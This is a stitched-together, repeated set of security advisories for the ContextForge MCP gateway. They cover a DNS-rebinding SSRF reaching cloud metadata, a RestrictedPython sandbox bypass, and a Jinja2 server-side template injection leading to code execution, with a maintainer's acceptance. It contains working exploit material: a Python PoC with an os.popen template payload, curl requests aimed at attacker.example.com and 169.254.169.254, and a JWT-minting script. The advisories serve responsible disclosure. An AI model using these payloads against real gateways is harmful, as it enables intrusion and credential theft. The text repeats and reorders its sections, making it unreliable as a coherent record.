"DNS TOCTOU Limitation: This validation resolves DNS at validation time, but the HTTP client will re-resolve DNS at connection time. An attacker controlling DNS can return a public IP during validation and a private IP during connection (DNS rebinding). True mitigation requires pinning the validated IP into the connection (custom resolver/transport, or IP allowlist check at connect callback). This is tracked as a known limitation for future improvement."

Location 2 — mcpgateway/admin.py, lines 14025–14029 (call site comment):

"TODO(ICACF-15): DNS rebinding risk — allowlist and SSRF checks resolve DNS, but the actual ResilientHttpClient request resolves DNS a third time. An attacker-controlled DNS server could return a public IP during validation and a private IP during the actual request. Consider pinning the resolved IP for outbound requests (custom transport) or caching DNS resolution across validation and request phases."

The existence of a named TODO ticket (ICACF-15) confirms the maintainers consider this an open, tracked defect.

Prerequisites

1. MCPGATEWAY_ADMIN_API_ENABLED=true (not the default; must be explicitly enabled by an operator).
2. The attacker holds a credential with explicit gateways.read permission assigned via a database role.

Regarding prerequisite 2: the endpoint is decorated with @require_permission("gateways.read", allow_admin_bypass=False). The allow_admin_bypass=False flag explicitly disables the platform-admin shortcut, meaning even a platform admin must hold an explicit database-backed role assignment that carries gateways.read. A credential produced solely via the platform-admin bootstrap bypass described in the companion advisory (GHSA-m8rv-5m6m-32ff) — a virtual identity with no database record — is rejected with HTTP 403 at this endpoint because no role lookup can succeed without a database row. An attacker who has forged a JWT via that bootstrap path does not automatically gain access to this endpoint; they still require a separately provisioned account with an appropriate role.

Proof of Concept

Setup

cd /opt/mcp-cf-test
MCPGATEWAY_ADMIN_API_ENABLED=true \
JWT_SECRET_KEY=my-test-key-but-now-longer-than-32-bytes \
uvicorn mcpgateway.main:app --host 0.0.0.0 --port 8000 &
sleep 5

Step 1 — Obtain a token for an account with database role assignment

The exploit requires a credential for a user who exists in the database with a role carrying gateways.read (e.g., platform_admin, which holds the * wildcard). Register a user through the Admin UI or API and assign the platform_admin role, then generate a JWT:

import datetime, jwt, uuid

SECRET = "my-test-key-but-now-longer-than-32-bytes"
EMAIL  = "admin@example.com"   # must have platform_admin role in DB
now    = datetime.datetime.now(datetime.timezone.utc)

payload = {
    "sub": EMAIL,
    "aud": "mcpgateway-api",
    "iss": "mcpgateway",
    "jti": str(uuid.uuid4()),
    "iat": now,
    "exp": now + datetime.timedelta(hours=1),
}
print(jwt.encode(payload, SECRET, algorithm="HS256"), end="")

TOKEN=$(python3 /tmp/gen_token.py)

Step 2 — Baseline control: direct private IP is rejected

Submitting a literal private IP is blocked unconditionally before any DNS resolution occurs:

curl -s -w "\nHTTP %{http_code}\n" \
  -X POST http://127.0.0.1:8000/admin/gateways/test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/", "method": "GET"}'
# Expected: HTTP 400 — "Invalid gateway URL"

Step 3 — DNS rebinding attack

1. Attacker controls DNS for attacker.example.com with TTL set to 1 second.
2. Initial record: attacker.example.com → 1.2.3.4 (any public IP).
3. Submit the request:

curl -s -w "\nHTTP %{http_code}\n" \
  -X POST http://127.0.0.1:8000/admin/gateways/test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://attacker.example.com/latest/meta-data/", "method": "GET"}'

4. validate_gateway_test_url() resolves attacker.example.com → 1.2.3.4; all SSRF checks pass.
5. Attacker immediately flips the DNS record: attacker.example.com → 169.254.169.254.
6. httpx independently re-resolves the hostname and connects to 169.254.169.254.
7. The gateway returns the IMDS response body to the caller.

Standard DNS rebinding infrastructure (e.g., rbndr.us) reliably achieves this window against the 1-second TTL. In cloud environments with IMDSv2 disabled or not enforced, the response contains IAM role credentials.

Impact

Server-Side Request Forgery against internal services and cloud instance metadata. An attacker with a sufficiently privileged credential can probe internal network services, retrieve cloud credentials from 169.254.169.254/latest/meta-data/iam/security credentials/, access internal APIs not exposed to the internet, or conduct port scanning of the internal network. In cloud environments where IMDSv1 is accessible, this can lead to full cloud account compromise through metadata-service credential theft.

Suggested Fix

After DNS validation passes, pin the connection to the validated IP address rather than re-passing the hostname to the HTTP client. Implement this via a custom httpx transport or resolver that binds the socket to the already-resolved address and sets the Host header to the original hostname. Additionally, enforce a maximum DNS resolution age and refuse to connect if the elapsed time between validation and connection exceeds a configurable threshold. The codebase already tracks this requirement under TODO ICACF-15; the suggested fix closes it.

Commit: f855e54d5b7bc1c91b977574a03b91eff6b86bb6 Component: mcp-servers/python/python_sandbox_server/src/python_sandbox_server/server_fastmcp.py

Vulnerability

RestrictedPython's sandbox in ContextForge's python_sandbox_server sub-project allows arbitrary Python execution via three compounding weaknesses:

1. Raw getattr is exposed in safe_builtins, bypassing _getattr_ mediation.
2. validate_code checks for literal dangerous dunder strings, but the payload constructs those names at runtime.
3. The execute_code MCP tool can be exposed over HTTP/SSE transport with no authentication layer.

Proof of Concept

The local PoC was executed against the real pinned sandbox code path. It constructs dunder names at runtime, walks Python's class hierarchy through the exposed getattr, finds subprocess.Popen, and executes a harmless marker command.

Transcript excerpt:

POC: IBM/mcp-context-forge RestrictedPython getattr sandbox bypass
validation={'valid': True, 'message': 'Code passed validation', 'warnings': None}
success=True
stdout="FOUND_POPEN\nb'IBM_SANDBOX_POC_PASS'\n"
IBM_RESTRICTEDPYTHON_GETATTR_POPEN_REPRO_PASS

PoC artifact hashes:

beb2d856c5a1b7c10005c9c0fccaf3d491d4fbcc2a69bc54b5e95c5730c0874b  run.py
1037dcb4f0831a3c96ca728527f939af1d3e19514b23ef54f663707875748ff8  run.sh
7026e676ee31916886f10feed959ffdbe486fda05b17421387e4717acbf90ba6  transcript.txt

Production Deployment Context

ContextForge's documentation describes registering MCP servers as gateways in a running ContextForge instance. If this sandbox server is reachable over HTTP in that pattern, any client that can reach the endpoint can submit the payload through tools/call.

Impact

An attacker with access to the python_sandbox_server HTTP endpoint can execute OS commands with the privileges of the server process. In containerized deployments with host mounts or internal network reachability, this can become filesystem compromise or network pivoting from the gateway host.

Suggested Fix

Remove raw getattr and setattr from safe_builtins, expose only policy-controlled attribute access if dynamic lookup is required, replace substring filtering with a stricter RestrictedPython policy pipeline, and add authentication to HTTP transport for all tools/call requests.

Caveats

This report covers the python_sandbox_server sub-project. The core ContextForge gateway and proxy components are not directly affected. The Critical score assumes HTTP reachability; stdio-only deployments reduce the attack vector.

Summary

mcpgateway.services.prompt_service.PromptService renders user-supplied prompt templates using Jinja2's plain Environment() rather than SandboxedEnvironment. An authenticated user with permission to register or update prompt templates can store a malicious template that, on subsequent rendering, executes arbitrary Python code on the gateway host with the privileges of the gateway process. This is a Server-Side Template Injection (SSTI) vulnerability leading to Remote Code Execution.

Details

Affected component: mcpgateway/services/prompt_service.py Affected version: 0.9.0 (verified). The fix in the unreleased main branch indicates all earlier published versions are likewise affected.

Vulnerable code

mcpgateway/services/prompt_service.py, line 26:

from jinja2 import Environment, meta, select_autoescape

mcpgateway/services/prompt_service.py, line 135 (inside PromptService.__init__):

self._jinja_env = Environment(
    autoescape=select_autoescape(["html", "xml"]),
    trim_blocks=True,
    lstrip_blocks=True,
)

mcpgateway/services/prompt_service.py, lines 1592–1616 (_render_template):

def _render_template(self, template: str, arguments: Dict[str, str]) -> str:
    ...
    try:
        jinja_template = self._jinja_env.from_string(template)
        return jinja_template.render(**arguments)
    except Exception:
        try:
            return template.format(**arguments)
        except Exception as e:
            raise PromptError(f"Failed to render template: {str(e)}")

_render_template is invoked from PromptService.get_prompt (line 892):

rendered = self._render_template(prompt.template, arguments)

Where prompt.template is loaded from the database. The template field of the database row is populated via the register_prompt, update_prompt, and register_prompts_bulk API endpoints, which accept attacker-controlled template content from authenticated API callers.

Because self._jinja_env is a plain jinja2.Environment rather than jinja2.sandbox.SandboxedEnvironment, Jinja2 imposes no restrictions on attribute traversal, function calls, or built-in access during rendering. A template that traverses to __builtins__.__import__ and calls os.popen (or any equivalent chain) executes arbitrary code at render time.

PoC

The reproducer requires only the published package and a Python interpreter; no network, database, or container setup is needed because the vulnerability sits in the in-process render method.

Setup

pip install mcp-contextforge-gateway==0.9.0

Reproducer (poc.py)

import os
import warnings

with warnings.catch_warnings():
    warnings.simplefilter("ignore")
    from mcpgateway.services.prompt_service import PromptService

import mcpgateway
print(f"[+] mcpgateway version: {mcpgateway.__version__}")

PROOF = os.path.abspath("MCPGATEWAY_RCE_PROOF.txt")
if os.path.exists(PROOF):
    os.remove(PROOF)

service = PromptService()
print(f"[+] PromptService._jinja_env type: {type(service._jinja_env).__name__}")

payload = (
    "{{ self.__init__.__globals__.__builtins__"
    ".__import__('os').popen('echo MCPGATEWAY_RCE > "
    + PROOF.replace('\\', '/') + "').read() }}"
)

print(f"[+] PROOF exists before render: {os.path.exists(PROOF)}")
service._render_template(payload, {})
print(f"[+] PROOF exists after render:  {os.path.exists(PROOF)}")

if os.path.exists(PROOF):
    with open(PROOF) as f:
        print(f"[+] PROOF contents: {f.read().strip()!r}")

Verified output

[+] mcpgateway version: 0.9.0
[+] PromptService._jinja_env type: Environment
[+] PROOF exists before render: False
[+] PROOF exists after render:  True
[+] PROOF contents: 'MCPGATEWAY_RCE'

The file MCPGATEWAY_RCE_PROOF.txt is written to disk by the embedded os.popen call, demonstrating arbitrary command execution in the gateway process. Replacing echo MCPGATEWAY_RCE > ... with any other command (e.g., reading filesystem contents, opening a reverse shell, exfiltrating environment secrets) produces the corresponding effect.

End-to-end via the API

A full attack against a deployed gateway uses the same payload supplied as the template field to POST /prompts (or PUT /prompts/{id}). Once stored, the template fires every time the prompt is rendered via the gateway's MCP prompts/get flow.

Impact

This is a Server-Side Template Injection vulnerability in a component (PromptService) that is exposed via the gateway's REST API. The attacker requirement is authenticated API access with permission to register or update prompts — a normal capability for users in the gateway's intended deployment model.

Successful exploitation yields:

• Arbitrary command execution on the gateway host with the gateway process's privileges
• Read/write access to the gateway's filesystem
• Read access to environment variables (including secrets, API keys, JWT signing keys, database credentials)
• Network access from the gateway host (lateral movement, internal request forgery beyond the gateway's normal SSRF protections, exfiltration to external endpoints)
• Persistence by registering additional malicious prompts, modifying configuration, or writing to disk

Affected user populations:

• Any deployment running a published version of mcp-contextforge-gateway from PyPI
• Multi-tenant deployments where any tenant can register prompts: a single tenant compromises the whole gateway and indirectly all other tenants
• CI/CD pipelines that programmatically register prompt templates from untrusted sources
• Deployments that import or sync prompt definitions from external registries

Suggested remediation requests:

1. Issue a CVE / GitHub Security Advisory for the affected published versions so downstream users receive Dependabot and security-scanner alerts
2. Publish the patched release to PyPI so pip install --upgrade returns a fixed version
3. Mark the relevant CHANGELOG.md entry as a security fix and add an upgrade-urgency note in SECURITY.md for users still on affected versions

Maintainer review (accepted)

Reproduced and accepted. Findings from the maintainer's review:

Confirmed valid (SSTI → RCE). In mcpgateway/services/prompt_service.py as published in v0.9.0 (and all earlier releases), _render_template() runs Environment().from_string(template).render(**args) on a plain, unsandboxed jinja2.Environment (v0.9.0 line 27: from jinja2 import Environment). With no render-time sandbox, the __builtins__.__import__('os').popen(...) chain executes arbitrary code in the gateway process. Verified against the v0.9.0 source.

Reachable with attacker-controlled input. The template field is persisted by the authenticated write paths — POST /prompts (prompts.create), prompt update (prompts.update), and bulk register — then rendered in get_prompt() → _render_template(). Any authenticated principal holding prompts.create/prompts.update reaches RCE. CWE-1336 / CWE-94 and High severity confirmed.

Scope (set on this advisory): affected < 1.0.0 (0.1.0–0.9.0); patched 1.0.0.

Already fixed. Migrated to SandboxedEnvironment in #4072 (commit 4d3100466, 2026-04-24), shipped in v1.0.0. Current main (1.0.3) additionally prevents the str.format() fallback from re-opening the attribute path when the sandbox rejects an expression (a jinja2.exceptions.SecurityError no longer falls through to .format()).

Correction to the report. "Patched version not installable via pip" is now stale — 1.0.0 through 1.0.3 are published on PyPI. Remediation for users is upgrade to >= 1.0.0.

Audit. Other jinja2.Environment usages in the codebase (main.py, version.py, tools/builder, email templates, content_security.py) render trusted on-disk templates via FileSystemLoader or are parse-only — none render user-supplied template strings. No second instance of this pattern.

Summary

The /admin/gateways/test endpoint validates submitted URLs by resolving the hostname at validation time and blocking private address ranges. The HTTP client independently re-resolves DNS at connection time with no IP binding between the two operations, creating a TOCTOU window exploitable via DNS rebinding. The source code explicitly acknowledges this limitation in two separate locations.

Details

validate_gateway_test_url() in mcpgateway/common/validators.py (lines 1527–1710) calls socket.getaddrinfo() on the submitted hostname, checks whether the resolved IP falls in private, loopback, link-local, or cloud-metadata ranges (including 169.254.169.254, 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16), and accepts the URL if the result is clean. The validated URL is then passed to the HTTP client as the original hostname string, not as the validated IP address.

The HTTP client (httpx, via ResilientHttpClient) performs its own independent DNS resolution at connection time. No mechanism bridges the two resolutions:

• The validated IP address is never passed to the HTTP client.
• Only the original hostname is forwarded, triggering a second independent lookup.
• No TTL enforcement, mandatory DNS-cache reuse, or IP-level socket binding is implemented.

The configuration options ssrf_blocked_networks (default: enabled, covers 169.254.169.254/32, link-local ranges, etc.) and ssrf_dns_fail_closed (default: True) apply exclusively at validation time. They share the same TOCTOU gap because they operate on the validation-time resolution result, not on the connection-time resolution performed by the HTTP client.

Two independent acknowledgements in the source code

Location 1 — mcpgateway/common/validators.py, lines 1537–1543 (function docstring of validate_gateway_test_url):

"DNS TOCTOU Limitation: This validation resolves DNS at validation time, but the HTTP client will re-resolve DNS at connection time. An attacker controlling DNS can return a public IP during validation and a private IP during connection (DNS rebinding). True mitigation requires pinning the validated IP into the connection (custom resolver/transport, or IP allowlist check at connect callback). This is tracked as a known limitation for future improvement."

Location 2 — mcpgateway/admin.py, lines 14025–14029 (call site comment):

"TODO(ICACF-15): DNS rebinding risk — allowlist and SSRF checks resolve DNS, but the actual ResilientHttpClient request resolves DNS a third time. An attacker-controlled DNS server could return a public IP during validation and a private IP during the actual request. Consider pinning the resolved IP for outbound requests (custom transport) or caching DNS resolution across validation and request phases."

The existence of a named TODO ticket (ICACF-15) confirms the maintainers consider this an open, tracked defect.

Prerequisites

1. MCPGATEWAY_ADMIN_API_ENABLED=true (not the default; must be explicitly enabled by an operator).
2. The attacker holds a credential with explicit gateways.read permission assigned via a database role.

Regarding prerequisite 2: the endpoint is decorated with @require_permission("gateways.read", allow_admin_bypass=False). The allow_admin_bypass=False flag explicitly disables the platform-admin shortcut, meaning even a platform admin must hold an explicit database-backed role assignment that carries gateways.read. A credential produced solely via the platform-admin bootstrap bypass described in the companion advisory (GHSA-m8rv-5m6m-32ff) — a virtual identity with no database record — is rejected with HTTP 403 at this endpoint because no role lookup can succeed without a database row. An attacker who has forged a JWT via that bootstrap path does not automatically gain access to this endpoint; they still require a separately provisioned account with an appropriate role.

Proof of Concept

Setup

cd /opt/mcp-cf-test
MCPGATEWAY_ADMIN_API_ENABLED=true \
JWT_SECRET_KEY=my-test-key-but-now-longer-than-32-bytes \
uvicorn mcpgateway.main:app --host 0.0.0.0 --port 8000 &
sleep 5

Step 1 — Obtain a token for an account with database role assignment

The exploit requires a credential for a user who exists in the database with a role carrying gateways.read (e.g., platform_admin, which holds the * wildcard). Register a user through the Admin UI or API and assign the platform_admin role, then generate a JWT:

import datetime, jwt, uuid

SECRET = "my-test-key-but-now-longer-than-32-bytes"
EMAIL  = "admin@example.com"   # must have platform_admin role in DB
now    = datetime.datetime.now(datetime.timezone.utc)

payload = {
    "sub": EMAIL,
    "aud": "mcpgateway-api",
    "iss": "mcpgateway",
    "jti": str(uuid.uuid4()),
    "iat": now,
    "exp": now + datetime.timedelta(hours=1),
}
print(jwt.encode(payload, SECRET, algorithm="HS256"), end="")

TOKEN=$(python3 /tmp/gen_token.py)

Step 2 — Baseline control: direct private IP is rejected

Submitting a literal private IP is blocked unconditionally before any DNS resolution occurs:

curl -s -w "\nHTTP %{http_code}\n" \
  -X POST http://127.0.0.1:8000/admin/gateways/test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/", "method": "GET"}'
# Expected: HTTP 400 — "Invalid gateway URL"

Step 3 — DNS rebinding attack

1. Attacker controls DNS for attacker.example.com with TTL set to 1 second.
2. Initial record: attacker.example.com → 1.2.3.4 (any public IP).
3. Submit the request:

curl -s -w "\nHTTP %{http_code}\n" \
  -X POST http://127.0.0.1:8000/admin/gateways/test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://attacker.example.com/latest/meta-data/", "method": "GET"}'

4. validate_gateway_test_url() resolves attacker.example.com → 1.2.3.4; all SSRF checks pass.
5. Attacker immediately flips the DNS record: attacker.example.com → 169.254.169.254.
6. httpx independently re-resolves the hostname and connects to 169.254.169.254.
7. The gateway returns the IMDS response body to the caller.

Standard DNS rebinding infrastructure (e.g., rbndr.us) reliably achieves this window against the 1-second TTL. In cloud environments with IMDSv2 disabled or not enforced, the response contains IAM role credentials.

Impact

Server-Side Request Forgery against internal services and cloud instance metadata. An attacker with a sufficiently privileged credential can probe internal network services, retrieve cloud credentials from 169.254.169.254/latest/meta-data/iam/security credentials/, access internal APIs not exposed to the internet, or conduct port scanning of the internal network. In cloud environments where IMDSv1 is accessible, this can lead to full cloud account compromise through metadata-service credential theft.

Suggested Fix

After DNS validation passes, pin the connection to the validated IP address rather than re-passing the hostname to the HTTP client. Implement this via a custom httpx transport or resolver that binds the socket to the already-resolved address and sets the Host header to the original hostname. Additionally, enforce a maximum DNS resolution age and refuse to connect if the elapsed time between validation and connection exceeds a configurable threshold. The codebase already tracks this requirement under TODO ICACF-15; the suggested fix closes it.

Commit: f855e54d5b7bc1c91b977574a03b91eff6b86bb6 Component: mcp-servers/python/python_sandbox_server/src/python_sandbox_server/server_fastmcp.py

Vulnerability

RestrictedPython's sandbox in ContextForge's python_sandbox_server sub-project allows arbitrary Python execution via three compounding weaknesses:

1. Raw getattr is exposed in safe_builtins, bypassing _getattr_ mediation.
2. validate_code checks for literal dangerous dunder strings, but the payload constructs those names at runtime.
3. The execute_code MCP tool can be exposed over HTTP/SSE transport with no authentication layer.

Proof of Concept

The local PoC was executed against the real pinned sandbox code path. It constructs dunder names at runtime, walks Python's class hierarchy through the exposed getattr, finds subprocess.Popen, and executes a harmless marker command.

Transcript excerpt:

POC: IBM/mcp-context-forge RestrictedPython getattr sandbox bypass
validation={'valid': True, 'message': 'Code passed validation', 'warnings': None}
success=True
stdout="FOUND_POPEN\nb'IBM_SANDBOX_POC_PASS'\n"
IBM_RESTRICTEDPYTHON_GETATTR_POPEN_REPRO_PASS

PoC artifact hashes:

beb2d856c5a1b7c10005c9c0fccaf3d491d4fbcc2a69bc54b5e95c5730c0874b  run.py
1037dcb4f0831a3c96ca728527f939af1d3e19514b23ef54f663707875748ff8  run.sh
7026e676ee31916886f10feed959ffdbe486fda05b17421387e4717acbf90ba6  transcript.txt

Production Deployment Context

ContextForge's documentation describes registering MCP servers as gateways in a running ContextForge instance. If this sandbox server is reachable over HTTP in that pattern, any client that can reach the endpoint can submit the payload through tools/call.

Impact

An attacker with access to the python_sandbox_server HTTP endpoint can execute OS commands with the privileges of the server process. In containerized deployments with host mounts or internal network reachability, this can become filesystem compromise or network pivoting from the gateway host.

Suggested Fix

Remove raw getattr and setattr from safe_builtins, expose only policy-controlled attribute access if dynamic lookup is required, replace substring filtering with a stricter RestrictedPython policy pipeline, and add authentication to HTTP transport for all tools/call requests.

Caveats

This report covers the python_sandbox_server sub-project. The core ContextForge gateway and proxy components are not directly affected. The Critical score assumes HTTP reachability; stdio-only deployments reduce the attack vector.

Summary

mcpgateway.services.prompt_service.PromptService renders user-supplied prompt templates using Jinja2's plain Environment() rather than SandboxedEnvironment. An authenticated user with permission to register or update prompt templates can store a malicious template that, on subsequent rendering, executes arbitrary Python code on the gateway host with the privileges of the gateway process. This is a Server-Side Template Injection (SSTI) vulnerability leading to Remote Code Execution.

Details

Affected component: mcpgateway/services/prompt_service.py Affected version: 0.9.0 (verified). The fix in the unreleased main branch indicates all earlier published versions are likewise affected.

Vulnerable code

mcpgateway/services/prompt_service.py, line 26:

from jinja2 import Environment, meta, select_autoescape

mcpgateway/services/prompt_service.py, line 135 (inside PromptService.__init__):

self._jinja_env = Environment(
    autoescape=select_autoescape(["html", "xml"]),
    trim_blocks=True,
    lstrip_blocks=True,
)

mcpgateway/services/prompt_service.py, lines 1592–1616 (_render_template):

def _render_template(self, template: str, arguments: Dict[str, str]) -> str:
    ...
    try:
        jinja_template = self._jinja_env.from_string(template)
        return jinja_template.render(**arguments)
    except Exception:
        try:
            return template.format(**arguments)
        except Exception as e:
            raise PromptError(f"Failed to render template: {str(e)}")

_render_template is invoked from PromptService.get_prompt (line 892):

rendered = self._render_template(prompt.template, arguments)

Where prompt.template is loaded from the database. The template field of the database row is populated via the register_prompt, update_prompt, and register_prompts_bulk API endpoints, which accept attacker-controlled template content from authenticated API callers.

Because self._jinja_env is a plain jinja2.Environment rather than jinja2.sandbox.SandboxedEnvironment, Jinja2 imposes no restrictions on attribute traversal, function calls, or built-in access during rendering. A template that traverses to __builtins__.__import__ and calls os.popen (or any equivalent chain) executes arbitrary code at render time.

PoC

The reproducer requires only the published package and a Python interpreter; no network, database, or container setup is needed because the vulnerability sits in the in-process render method.

Setup

pip install mcp-contextforge-gateway==0.9.0

Reproducer (poc.py)

import os
import warnings

with warnings.catch_warnings():
    warnings.simplefilter("ignore")
    from mcpgateway.services.prompt_service import PromptService

import mcpgateway
print(f"[+] mcpgateway version: {mcpgateway.__version__}")

PROOF = os.path.abspath("MCPGATEWAY_RCE_PROOF.txt")
if os.path.exists(PROOF):
    os.remove(PROOF)

service = PromptService()
print(f"[+] PromptService._jinja_env type: {type(service._jinja_env).__name__}")

payload = (
    "{{ self.__init__.__globals__.__builtins__"
    ".__import__('os').popen('echo MCPGATEWAY_RCE > "
    + PROOF.replace('\\', '/') + "').read() }}"
)

print(f"[+] PROOF exists before render: {os.path.exists(PROOF)}")
service._render_template(payload, {})
print(f"[+] PROOF exists after render:  {os.path.exists(PROOF)}")

if os.path.exists(PROOF):
    with open(PROOF) as f:
        print(f"[+] PROOF contents: {f.read().strip()!r}")

Verified output

[+] mcpgateway version: 0.9.0
[+] PromptService._jinja_env type: Environment
[+] PROOF exists before render: False
[+] PROOF exists after render:  True
[+] PROOF contents: 'MCPGATEWAY_RCE'

The file MCPGATEWAY_RCE_PROOF.txt is written to disk by the embedded os.popen call, demonstrating arbitrary command execution in the gateway process. Replacing echo MCPGATEWAY_RCE > ... with any other command (e.g., reading filesystem contents, opening a reverse shell, exfiltrating environment secrets) produces the corresponding effect.

End-to-end via the API

A full attack against a deployed gateway uses the same payload supplied as the template field to POST /prompts (or PUT /prompts/{id}). Once stored, the template fires every time the prompt is rendered via the gateway's MCP prompts/get flow.

Impact

This is a Server-Side Template Injection vulnerability in a component (PromptService) that is exposed via the gateway's REST API. The attacker requirement is authenticated API access with permission to register or update prompts — a normal capability for users in the gateway's intended deployment model.

Successful exploitation yields:

• Arbitrary command execution on the gateway host with the gateway process's privileges
• Read/write access to the gateway's filesystem
• Read access to environment variables (including secrets, API keys, JWT signing keys, database credentials)
• Network access from the gateway host (lateral movement, internal request forgery beyond the gateway's normal SSRF protections, exfiltration to external endpoints)
• Persistence by registering additional malicious prompts, modifying configuration, or writing to disk

Affected user populations:

• Any deployment running a published version of mcp-contextforge-gateway from PyPI
• Multi-tenant deployments where any tenant can register prompts: a single tenant compromises the whole gateway and indirectly all other tenants
• CI/CD pipelines that programmatically register prompt templates from untrusted sources
• Deployments that import or sync prompt definitions from external registries

Suggested remediation requests:

1. Issue a CVE / GitHub Security Advisory for the affected published versions so downstream users receive Dependabot and security-scanner alerts
2. Publish the patched release to PyPI so pip install --upgrade returns a fixed version
3. Mark the relevant CHANGELOG.md entry as a security fix and add an upgrade-urgency note in SECURITY.md for users still on affected versions

Maintainer review (accepted)

Reproduced and accepted. Findings from the maintainer's review:

Confirmed valid (SSTI → RCE). In mcpgateway/services/prompt_service.py as published in v0.9.0 (and all earlier releases), _render_template() runs Environment().from_string(template).render(**args) on a plain, unsandboxed jinja2.Environment (v0.9.0 line 27: from jinja2 import Environment). With no render-time sandbox, the __builtins__.__import__('os').popen(...) chain executes arbitrary code in the gateway process. Verified against the v0.9.0 source.

Reachable with attacker-controlled input. The template field is persisted by the authenticated write paths — POST /prompts (prompts.create), prompt update (prompts.update), and bulk register — then rendered in get_prompt() → _render_template(). Any authenticated principal holding prompts.create/prompts.update reaches RCE. CWE-1336 / CWE-94 and High severity confirmed.

Scope (set on this advisory): affected < 1.0.0 (0.1.0–0.9.0); patched 1.0.0.

Already fixed. Migrated to SandboxedEnvironment in #4072 (commit 4d3100466, 2026-04-24), shipped in v1.0.0. Current main (1.0.3) additionally prevents the str.format() fallback from re-opening the attribute path when the sandbox rejects an expression (a jinja2.exceptions.SecurityError no longer falls through to .format()).

Correction to the report. "Patched version not installable via pip" is now stale — 1.0.0 through 1.0.3 are published on PyPI. Remediation for users is upgrade to >= 1.0.0.

Audit. Other jinja2.Environment usages in the codebase (main.py, version.py, tools/builder, email templates, content_security.py) render trusted on-disk templates via FileSystemLoader or are parse-only — none render user-supplied template strings. No second instance of this pattern.

Summary

The /admin/gateways/test endpoint validates submitted URLs by resolving the hostname at validation time and blocking private address ranges. The HTTP client independently re-resolves DNS at connection time with no IP binding between the two operations, creating a TOCTOU window exploitable via DNS rebinding. The source code explicitly acknowledges this limitation in two separate locations.

Details

validate_gateway_test_url() in mcpgateway/common/validators.py (lines 1527–1710) calls socket.getaddrinfo() on the submitted hostname, checks whether the resolved IP falls in private, loopback, link-local, or cloud-metadata ranges (including 169.254.169.254, 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16), and accepts the URL if the result is clean. The validated URL is then passed to the HTTP client as the original hostname string, not as the validated IP address.

The HTTP client (httpx, via ResilientHttpClient) performs its own independent DNS resolution at connection time. No mechanism bridges the two resolutions:

• The validated IP address is never passed to the HTTP client.
• Only the original hostname is forwarded, triggering a second independent lookup.
• No TTL enforcement, mandatory DNS-cache reuse, or IP-level socket binding is implemented.

The configuration options ssrf_blocked_networks (default: enabled, covers 169.254.169.254/32, link-local ranges, etc.) and ssrf_dns_fail_closed (default: True) apply exclusively at validation time. They share the same TOCTOU gap because they operate on the validation-time resolution result, not on the connection-time resolution performed by the HTTP client.

Two independent acknowledgements in the source code

Location 1 — mcpgateway/common/validators.py, lines 1537–1543 (function docstring of validate_gateway_test_url):

"DNS TOCTOU Limitation: This validation resolves DNS at validation time, but the HTTP client will re-resolve DNS at connection time. An attacker controlling DNS can return a public IP during validation and a private IP during connection (DNS rebinding). True mitigation requires pinning the validated IP into the connection (custom resolver/transport, or IP allowlist check at connect callback). This is tracked as a known limitation for future improvement."

Location 2 — mcpgateway/admin.py, lines 14025–14029 (call site comment):

"TODO(ICACF-15): DNS rebinding risk — allowlist and SSRF checks resolve DNS, but the actual ResilientHttpClient request resolves DNS a third time. An attacker-controlled DNS server could return a public IP during validation and a private IP during the actual request. Consider pinning the resolved IP for outbound requests (custom transport) or caching DNS resolution across validation and request phases."

The existence of a named TODO ticket (ICACF-15) confirms the maintainers consider this an open, tracked defect.

Prerequisites

1. MCPGATEWAY_ADMIN_API_ENABLED=true (not the default; must be explicitly enabled by an operator).
2. The attacker holds a credential with explicit gateways.read permission assigned via a database role.

Regarding prerequisite 2: the endpoint is decorated with @require_permission("gateways.read", allow_admin_bypass=False). The allow_admin_bypass=False flag explicitly disables the platform-admin shortcut, meaning even a platform admin must hold an explicit database-backed role assignment that carries gateways.read. A credential produced solely via the platform-admin bootstrap bypass described in the companion advisory (GHSA-m8rv-5m6m-32ff) — a virtual identity with no database record — is rejected with HTTP 403 at this endpoint because no role lookup can succeed without a database row. An attacker who has forged a JWT via that bootstrap path does not automatically gain access to this endpoint; they still require a separately provisioned account with an appropriate role.

Proof of Concept

Setup

cd /opt/mcp-cf-test
MCPGATEWAY_ADMIN_API_ENABLED=true \
JWT_SECRET_KEY=my-test-key-but-now-longer-than-32-bytes \
uvicorn mcpgateway.main:app --host 0.0.0.0 --port 8000 &
sleep 5

Step 1 — Obtain a token for an account with database role assignment

The exploit requires a credential for a user who exists in the database with a role carrying gateways.read (e.g., platform_admin, which holds the * wildcard). Register a user through the Admin UI or API and assign the platform_admin role, then generate a JWT: